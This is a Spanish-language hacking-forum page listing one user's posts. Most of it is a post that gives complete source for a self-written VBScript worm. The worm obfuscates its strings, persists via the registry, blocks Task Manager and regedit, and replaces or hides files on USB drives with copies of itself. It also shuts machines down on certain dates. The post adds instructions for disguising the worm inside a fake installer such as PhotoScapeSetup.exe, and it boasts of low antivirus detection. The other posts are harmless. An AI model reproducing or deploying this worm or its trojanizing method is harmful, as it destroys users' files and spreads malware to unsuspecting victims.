elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


  Mostrar Mensajes
Páginas: 1 2 3 4 5 [6]
51  Sistemas Operativos / Windows / Pregunta Como configuro una PC para q no se guarde configuracion o archivos ? en: 15 Diciembre 2012, 22:13 pm
 :huh:

Alguien sabe como configuro una pc para q al iniciar sección ya sea que copie archivos a la pc modifiq el registro o cualqier otra cosa pero q al volver iniciar secion no haya rastro de lo q hize en la secion anterior zero configuracion zero archivos ?? :huh:   :huh:
52  Seguridad Informática / Análisis y Diseño de Malware / Re: Worm VBScript Codificado + Empaqtado en: 15 Diciembre 2012, 18:26 pm
Bueno los mejores worm se programaron en vbs happyTime ana k..iloveyou..etc

y si ya lo analize en virustotal Deteccion 2 de 43   ;-)
los antivirus q lo detectaron fue AVG  y aSafe con ultimas actualizaciones 15/12/12 11:24am  >:D
53  Seguridad Informática / Análisis y Diseño de Malware / Worm VBScript Codificado + Empaqtado en: 15 Diciembre 2012, 00:32 am
Chav@s como estoy de vacaciones  ;-) y no tengo nada q hacer les traigo un worm  programado en vbscript x mi.Parte del code esta codificado aver si les gusta lo que hace_


  • 1.-Infecta pc da
  • 2.-Residente en la memoria
  • 3.-Graffity a pc
  • 4.-Impide q se abra el administrador de tareas y el registro de Windows
  • 5.-Si lo borran regresa  :rolleyes:
  • 6.-Infecion USb remplaza una lista de formatos con el code deo worm eliminando el archivo original muy lamer  ;D  lose tambien cabe la opcion de solo ocultarlos en fin
  • 7.-Prosesa sub carpetas para el paso6
  • 8.-Cada vez q la pc infectada se encienda comprueva q el dia y el mes sumados den 18 la pc se apaga y como esta agregado a la pc no se prendera todo ese dia  :laugh:


Bueno es hora de empezar aqui les dego el codigo se los voy explicando

Código
  1.  
  2. On Error Resume Next 'en cso de algun error no dar aviso
  3. Set fso = CreateObject(des("Vfulswlqj1Ilohv|VwhpRemhfw"))     'Creamos objeto para manejar archivos
  4. y0 = Wscript.ScriptFullName                                    'variable con la ruta exacta del worm
  5. Set tmp = fso.GetSpecialFolder(2)                              'hace referencia a la carpeta temporal
  6. Set ws = CreateObject(des("ZVfulsw1Vkhoo"))                     'Creamos objeto para manejar el registro
  7. Set c = fso.GetFile(y0)                                        'creamos una variable contenga lo de la var y0
  8. c.Copy(tmp&des("_NvY1yev"))                                     'con ayuda de lo anterior nos copiamos a la carpeta %temp%
  9. fso.CopyFile y0, tmp&des("_NvY1yev")                             'nos copiamos a la carpeta %temp% )(x si no funciona la anterior)
  10. ws.RegWrite "HKCU\software\<3\", " 4U ksv"                        'grafittiando el registro de windows
  11. ws.run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y#KlghIlohH{w")&  "/t reg_dword /d 1 /f",0   'ocultamos las extensiones de los archivos
  12. ksv()       'llamamos a la funcion ksv
  13. dloop()      'llamamos a la funcion dloop
  14.  
  15. Do                   'inicio de bucle infinito
  16. On Error Resume Next
  17.  
  18. 'las dos sig. lineas llama a la funcion see la cual se encarga de cerrar aplicaciones aqui ya le asignamos dos aplicaciones para q cierre (administrador de tareas y registro de windows)
  19. see(des("wdvnpju1h{h"))  
  20. see(des("uhjhglw1h{h"))
  21. ws.RegWrite des("KNH\bFXUUHQWbXVHU_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Nh|VY"),tmp&des("_NvY1yev") 'Nos agregamos al registro de windows
  22.  
  23. Set wf= fso.OpenTextFile(y0) 'abrimos el archivo de la variable y0 osea el q se esta ejecutando
  24. i= wf.ReadAll                 'Agregamos el contenido completo del worm a la variable i
  25. wf.Close                      'cerramos el worm
  26. If fSO.FileExists(y0) Then    'comprobamos q exista el contenido de la var.y0 si es asi
  27. wscript.sleep 1000             'espera 1 segundo  
  28. Else                           'si no existe
  29. Set nf= fso.CreateTextFile(y0) 'creamos el archivo
  30. nf.Write i                      'escribimos el contenido q almacenamos en la var (i)
  31. nf.Close                        'lo cerramos
  32. End If
  33. obdri()                     'vamos a la funcion obdri
  34. Loop                        'una ves q termine la funcion obdri regresa a do
  35. End Sub
  36.  
  37. 'Funcion q se encarga de cerrar el administrador de windows y el registro de windows
  38. Sub see(processname)
  39. On Error Resume Next
  40. Set WM =getobject(des("ZlqPjpWv="))
  41. Set listservices= WM.instancesof(des("Zlq65bSurFhvV"))
  42. For Each oService In listservices
  43. If processname=oService.name Then
  44. oService.Terminate
  45. End If
  46. Next
  47. End Sub
  48.  
  49.  
  50. Function obdri()    
  51. On Error Resume Next
  52. Set discos = fso.Drives   'tomamos el control de las unidades de la pc
  53. For Each d In discos      'bucle para mapear las unidades
  54. If d.Drivetype = 1 or 0 Then  'comprobamos q sean del tipo (1extendible) (0 desconosidos) si es asi
  55. a1= d&"\"                       'agregamos la direcion en la var a1            
  56. Call joder(a1)                  'llamamos a la funcion joder con una direcion  
  57. End If
  58. Next           'pasa a la sigiente
  59. End Function
  60.  
  61.  
  62. Function joder(a2)
  63. On Error Resume Next
  64. Set f4 = fso.GetFolder(a2) 'toma control de las carpeta de la usb
  65. Set carpeta = f4.Files      'toma control de los archivos
  66. For Each abc In carpeta    'mapeo de archivos contenidas en un array
  67. nombres = array("jpg","dwg","mp4","vbs","mp3","docx","doc","pdf","pptx","xlsx","vbe","avi")
  68. For each n in nombres
  69. If fso.GetExtensionName(abc.path) = n Then  'si existe alguna de las extensiones en el array entonces  
  70. fso.CopyFile y0, abc.path&".vbs"            'copiamos el contenido de la var. y0 a los archivos q encuentre si la extensión coincide pero le modificamos la extensión
  71. fso.DeleteFile abc.path         'borramos el archivo original
  72. End If
  73. next  'sigiente
  74. next'siguiente
  75.  
  76. Set abc= f4.SubFolders 'aqui prosesamos e infectamos sub carpetas
  77. For Each f3 In abc
  78. Call joder(f3.path)
  79. Next
  80. End Function
  81.  
  82.  
  83. 'las siguientes 6 lineas se encarga de cifrar y descifrar
  84. Public Function des(p)
  85. On Error Resume Next
  86. For Ale = 1 To  Len(p)
  87. des = des &Chr(Asc(Mid(p,Ale, 1))- 3)
  88. Next
  89. End Function
  90.  
  91.  
  92. 'comprueba si el dia y el mes sumados dan 18 si es asi apagamos la pc y como se agrego al registro
  93. 'la pc no prendera todo es dia
  94. Sub ksv()
  95. On Error Resume Next
  96. sum = CInt(Month(Date) + Day(Date))
  97. If sum = 18 Then
  98. ws.Run des("fpg#2f#vkxwgrzq#2u#2w#33"),0
  99. End If
  100. End sub
  101.  




VARIACION
E aqui el mismo code simplemente le qite la opcion de borrar el archivo original simplemente los oculta tanto como oculto y de sistema tambien oculta la extensión
NOTA

Código
  1. On Error Resume Next
  2. Set fso = CreateObject(des("Vfulswlqj1Ilohv|VwhpRemhfw"))
  3. y0 = Wscript.ScriptFullName
  4. Set tmp = fso.GetSpecialFolder(2)
  5. Set ws = CreateObject(des("ZVfulsw1Vkhoo"))
  6. Set c = fso.GetFile(y0)
  7. c.Copy(tmp&des("_NvY1yeh"))
  8. fso.CopyFile y0, tmp&des("_NvY1yeh")
  9. ws.RegWrite "HKCU\software\<3\", " 4U ksv"
  10. Set ws = CreateObject("wscript.shell")
  11. ksv438 = array(des("#VxshuKlgghq#"),des("#Klgghq#"),des("#VkrzVxshuKlgghq#"))
  12. For each n in ksv438
  13. ws.Run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y")& n&des("#2w#uhjbgzrug#2g#3#2i"),0
  14. next
  15. ws.Run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y")& " HideFileExt "&des("#2w#uhjbgzrug#2g#4#2i"),0  
  16. ksv()
  17. dloop()
  18. Do
  19. On Error Resume Next
  20. kya(des("wdvnpju1h{h"))
  21. kya(des("uhjhglw1h{h"))
  22. ws.RegWrite des("KNH\bFXUUHQWbXVHU_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Nh|VY"),tmp&des("_NvY1yeh")
  23. Set wf= fso.OpenTextFile(y0)
  24. i= wf.ReadAll
  25. wf.Close
  26. y0=w
  27. If fSO.FileExists(w) Then
  28. wscript.sleep 1000
  29. Else
  30. Set nf= fso.CreateTextFile(w)
  31. nf.Write i
  32. nf.Close
  33. End If
  34. obdri()
  35. Loop
  36. End Sub
  37. Sub kya(processname)
  38. On Error Resume Next
  39. Set WM =getobject(des("ZlqPjpWv="))
  40. Set listServices= WM.instancesof(des("Zlq65bSurFhvV"))
  41. For Each oService In listServices
  42. If ProcessName=oService.name Then
  43. oService.Terminate
  44. End If
  45. Next
  46. End Sub
  47. Function obdri()
  48. On Error Resume Next
  49. Set discos = fso.Drives
  50. For Each d In discos
  51. If d.Drivetype = 1 or 0 Then
  52. a1= d&"\"
  53. Call KsVAl(a1)
  54. End If
  55. Next
  56. End Function
  57. Function KsVAl(a2)
  58. On Error Resume Next
  59. Set f4 = fso.GetFolder(a2)
  60. Set carpeta = f4.Files
  61. For Each abc In carpeta
  62. nombres = array("jpg","dwg","mp4","vbs","mp3","docx","doc","pdf","pptx","xlsx","vbe","avi")
  63. For each n in nombres
  64. If fso.GetExtensionName(abc.path) = n Then
  65. fso.CopyFile y0, abc.path&".vbe"
  66. 'fso.DeleteFile abc.path
  67. Set hi = fso.GetFolder(abc.path)
  68. hi.Attributes = 7
  69. End If
  70. next
  71. next
  72. Set abc= f4.SubFolders
  73. For Each f3 In abc
  74. Call KsVAl(f3.path)
  75. Next
  76. End Function
  77. Public Function des(p)
  78. On Error Resume Next
  79. For Ale = 1 To  Len(p)
  80. des = des &Chr(Asc(Mid(p,Ale, 1))- 3)
  81. Next
  82. End Function
  83. Sub ksv()
  84. On Error Resume Next
  85. sum = CInt(Month(Date) + Day(Date))
  86. If sum = 18 Then
  87. ws.Run des("fpg#2f#vkxwgrzq#2u#2w#33"),0
  88. End If
  89. End sub
  90.  



EL SCRIPT NO SE GUARDA CON VBS SINO COMO VBE POR Q POR Q LO HIZE PARA CODIFICARLO CON Screnc  

http://www.mediafire.com/?a2r9qcwbxue3x9d DESCARGAR SCRENC CON UN BAT PARA NO HACER TANTO ROLLO SOLO EJECUTEN EL BAT Y SIGAN LAS INSTRUCIONES

Aqui Screnc para codificar y descodificar http://www.mediafire.com/?pp14x1zjt2xdpw3

 LES CREARA UN ARCHIVO VBE (ESTE ES EL WORM ) PERO NO PODRAN LEER SU CONTENIDO SE VERA ALGO ASI
#@~^xAkAAA==6   P3MDKDP"+k;:PH+XY@#@&U+Y,W/KP',/.+mYr8Ln^D`[+kcJj0;skhV5%8qsW4--.A4w"+:40SE#*@#@&XZPx~q/mMrwDR?1.rwDs!Vs1Ch@#@&?OPD:2~
 >:D

.::KsV::.
Bueno vamos a empaqtarlo para eso solo usaremos winrar
tambien nesesitan este code y tambien nesesitas un programa (el instalador) PARA EL PRIMER CODIGO SI LO QIEREN HACER CON EL 2DO CABIEN VBS POR VBE EN EL SIGUIENTE CODE


Código
  1.  
  2. On Error Resume Next
  3. Set ws = CreateObject("WScript.Shell")
  4. ws.run "worm.vbs"
  5. ws.run "setup.exe"
  6.  
  7.  
Ese archivo se llamara start.vbs(el code anterior)
El worm se llamara worm.vbs
El programa se llamara setup.exe

Lo primero es añadir al archivo los 3 archivos marcar Crear un archivo extendible


Click en La pestaña de Avanzado..Autoextraible
Donde dice Carpeta de extracion escriben %TEMP% esta es la carpeta temporal de windows


En "Ejecutar tras la extracion" :Ponen start.vbs


Ahora vamos a la pestaña de modos marquen la opcion de "Ocultar todo"

Ahora en la pestaña de Texto e icono
CARGAR ICONO DESDE FICHERO  selecionen un icono q tengan

den aceptar y aceptar y listo   ;-)


Renombren la aplicacion por el nombre del programa por ej PhotoScapeSetup.exe

Al ejecutar este nuevo programa primero ejecutara el worm  ;-) y despues abrira el instalador del programa  ;)


No compilen el code por q no funcionara x q NO FUNCIONARA LA OPCION DE AUTO RECOPERACION (osea lo borran y vuelve   >:D )


El code es mi den creditos si lo postean en otro lugar  ;)
si tienen preguntas  :huh: aganmelas saber
 
;-)

Dudas y Comentarios  siempre son bien venidas

NO YO NI NADIE MAS Q TU ES EL RESPONSABLE DEL USO DE ESTA INFORMACION (TODA LA INFO POSTEADA ES CON FINES EDUCATIVOS COMO SIEMPRE )
54  Programación / Scripting / Re: Administrador de Tareas VBScript en: 14 Diciembre 2012, 21:57 pm
EleKtro H@cker

Si mis conosimientos no me fallan al  decir Indentación te refieres a q el mismo script ponga la extensión si esta no se le pone vdd

Si me eqivoco dimelo

Si es asi en un momento se lo agrego

Gracias  ::)
55  Programación / Scripting / Re: TUTORIAL vbscript en: 13 Diciembre 2012, 23:01 pm
Exelente  Novlucker  sige asi (y)
56  Programación / Scripting / Administrador de Tareas VBScript en: 13 Diciembre 2012, 22:48 pm
Q onda chav@sEn este mi primer aporte  les traigo un pequeño script q es como un segundo administrador de tareas


Es muy simple de usar solo ejecuten les preguntara q si qieren ver las aplicaciones
q estan corriendo si le dicen q si les creara y abrira un archhivo de texto con el nombrte de cada aplicacion segundos despues les pedira la aplicacion q se qiere cerrar no olviden la extensión ,ahora solo den enter y listo



Lo cree por q un virus no me degaba abrir el AT.  :silbar:

::)

aqui el code


Código
  1. 'VBScript By KsV
  2. Set ws = CreateObject("wscript.shell")
  3. a=msgbox ("Quieres Ver Las Aplicaciones En Ejecucion",36,".:Mini-Administrador De Tareas ksv:.")
  4. If a=VBYes Then
  5. Set ofso = CreateObject("scripting.filesystemobject")
  6. Set lita = ofso.createtextfile(".\EnEjecucion.txt")
  7. Set WM =GetObject("winmgmts:")
  8. Set listser= WM.instancesof("win32_process")
  9. For Each service In listser
  10. lita.writeline service.name
  11. lita.writeblanklines(1)
  12. Next
  13. lita.close
  14. ws.run ".\EnEjecucion.txt"
  15. Wscript.sleep 2000
  16. cual()
  17. Else
  18. cual()
  19. Sub cual()
  20. uv = InputBox("Nombre del proseso a terminar ",".:Mini-Administrador De Tareas:.")
  21. If Right(uv, 1) <> ".exe" Then                                
  22.    ap = uv & ".exe"
  23. ter(ap)
  24. else
  25. ter(uv)
  26. end if
  27.  
  28. End Sub
  29. sub ter(prne)
  30. 'empleando wmi Windows Management Instrumentation  terminamos el proceso indicado
  31. Set WM =GetObject("winmgmts:")                 'tomamos control de winmgmts por aqui pasan los procesos q se inician
  32. Set listser= WM.instancesof("win32_process")  'tomamos control de los procesos q se estan corriendo
  33. For Each service In listser 'recorremos cada uno de los prosesos
  34. If prne=service.name Then   'si el contenido de la var prne coincide con alguno de la lista
  35. service.Terminate 'lo terminamos
  36. End If
  37. Next
  38. End sub
  39. End If


Espero que les sirva el code creo q no tiene errores ,pero si les da uno m avisan no olviden los creditos  :D

KsV  ;-) DUDAS COMENTARISO  SUGERENCIAS RECLAMOS ETC SON SIEMPRE ACEPTADOS
Páginas: 1 2 3 4 5 [6]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines